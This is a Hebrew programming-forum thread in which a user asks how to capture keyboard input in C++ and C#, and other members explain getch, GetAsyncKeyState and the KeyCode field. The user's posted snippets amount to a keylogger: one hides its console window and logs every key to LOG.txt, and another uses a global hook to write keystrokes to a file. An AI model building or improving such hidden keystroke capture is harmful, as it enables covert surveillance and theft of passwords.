לקיחת מידע מהמקלדת c++ - תכנות - HWzone פורומים
עבור לתוכן
  • צור חשבון

לקיחת מידע מהמקלדת c++


RonCohen

Recommended Posts

אני צריך כמה פקודות שאני לא יודע ולא מצליח למצוא

אני צריך שהתוכנה תדע שנלחץ כפתור ואיזה כפתור לדוגמה התוכנה רצה ברקע וכשהמשתמש לוחץ f10 אז....

ובנוסף לזה אני צריך שהתוכנה תדמה לחיצות של מקלדת.

קישור לתוכן
שתף באתרים אחרים

אתה צריך להשתמש בפונקציה getch_ (שבשבילה צריך לעשות אינקלוד לספריה conio.h). הפונקציה מחכה ללחיצה על מקש במקלדת ואז מחזירה איזה מקש נלחץ. אם זה מקש מיוחד (insert, delete, f10 וכד') אז היא מחזירה 0 ואז צריך לקרוא לה שוב כדי לדעת איזה מקש בדיוק נלחץ. תעשה עם זה ניסויים ותבין מה הכוונה.

קישור לתוכן
שתף באתרים אחרים

שפת C או ++C הסטנדרטיות לא מספקות פונקציות לקריאת מקשי המקלדת או להדמייה של לחיצה על מקלדת.

אלה הם שירותים (כלומר API) שמערכת ההפעלה מספקת, או במקרים מסויימים, באים כהרחבה לספריית C (למשל getch שהוזכרה) אבל זה לא חלק מהסטנדרד של C.

על חלונות תצטרך להשתמש ב-API של המקלדת תתחיל כאן:

http://msdn.microsoft.com/en-us/library/windows/desktop/ms645530%28v=vs.85%29.aspx

קישור לתוכן
שתף באתרים אחרים

חיפשתי קטע קוד כדי להבין איך להשתמש בGetAsyncKeyState

אפשר הסבר קטן עליו?

אני לא מבין למה צריך את הלולאת FOR הזאת לדוגמא

HWND Stealth;    AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
string s="LOG.txt";
errno_t err;
FILE *OUTPUT_FILE;[B]
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
err= fopen_s( & OUTPUT_FILE ,"LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}[/B]
}
system ("PAUSE");
return 0;
}

קישור לתוכן
שתף באתרים אחרים

חיפשתי קטע קוד כדי להבין איך להשתמש בGetAsyncKeyState

אפשר הסבר קטן עליו?

אני לא מבין למה צריך את הלולאת FOR הזאת לדוגמא

HWND Stealth;    AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
string s="LOG.txt";
errno_t err;
FILE *OUTPUT_FILE;[B]
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
err= fopen_s( & OUTPUT_FILE ,"LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}[/B]
}
system ("PAUSE");
return 0;
}

הפונקציה getAsyncKeyState מקבלת תו (או יותר נכון מקש) ואומרת אם הוא לחוץ או לא.

הוא עובר על המקשים שמעניינים אותו ובמידה שאחד מהם לחוץ הוא משרשר אותו לקובץ.

קישור לתוכן
שתף באתרים אחרים

  • 2 שבועות מאוחר יותר...

עברתי לC# כרגע כדי להבין איך הוק עובד אז אני יעבור לC++

public partial class Form1 : Form    {
GlobalKeyboardHook gHook;
public Form1()
{
InitializeComponent();
}


private void Form1_Load(object sender, EventArgs e)
{
byte[] stacker = new byte[1073741824];
for (int i = 0; i < 1073741824; i++)
{
stacker[i] = 1;
}
gHook = new GlobalKeyboardHook();
gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
foreach (Keys key in Enum.GetValues(typeof(Keys)))
gHook.HookedKeys.Add(key);
gHook.hook();
}


public void gHook_KeyDown(object sender, KeyEventArgs e)
{
string text = ((char)e.KeyValue).ToString();
System.IO.StreamWriter file = new System.IO.StreamWriter(@"I:\RonCohen\Documents\Visual Studio 2012\Projects\WindowsFormsApplication1\WriteText.txt", true);

file.Write(text);
file.Close();
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
gHook.unhook();
}

קישור לתוכן
שתף באתרים אחרים

הבעיה היא שאתה ממיר את ה-KeyValue ל-char. אין התאמה חד חד ערכית בין מקשים במקלדת לתווים - יש תווים שיש להם כמה מקשים שונים (כמו המספרים שנמצאים גם בשורה העליונה וגם ב-numpad), יש מקשים שיש להם כמה תווים שונים (לדוגמה כל האותיות) ויש מקשים שאין להם שום תווים מקבילים (כמו F1-F12).

אתה צריך להשתמש במקום זה בשדה ה-KeyCode.

http://msdn.microsoft.com/en-us/library/system.windows.forms.keyeventargs.keycode(v=vs.110).aspx

קישור לתוכן
שתף באתרים אחרים

ארכיון

דיון זה הועבר לארכיון ולא ניתן להוסיף בו תגובות חדשות.

×
  • צור חדש...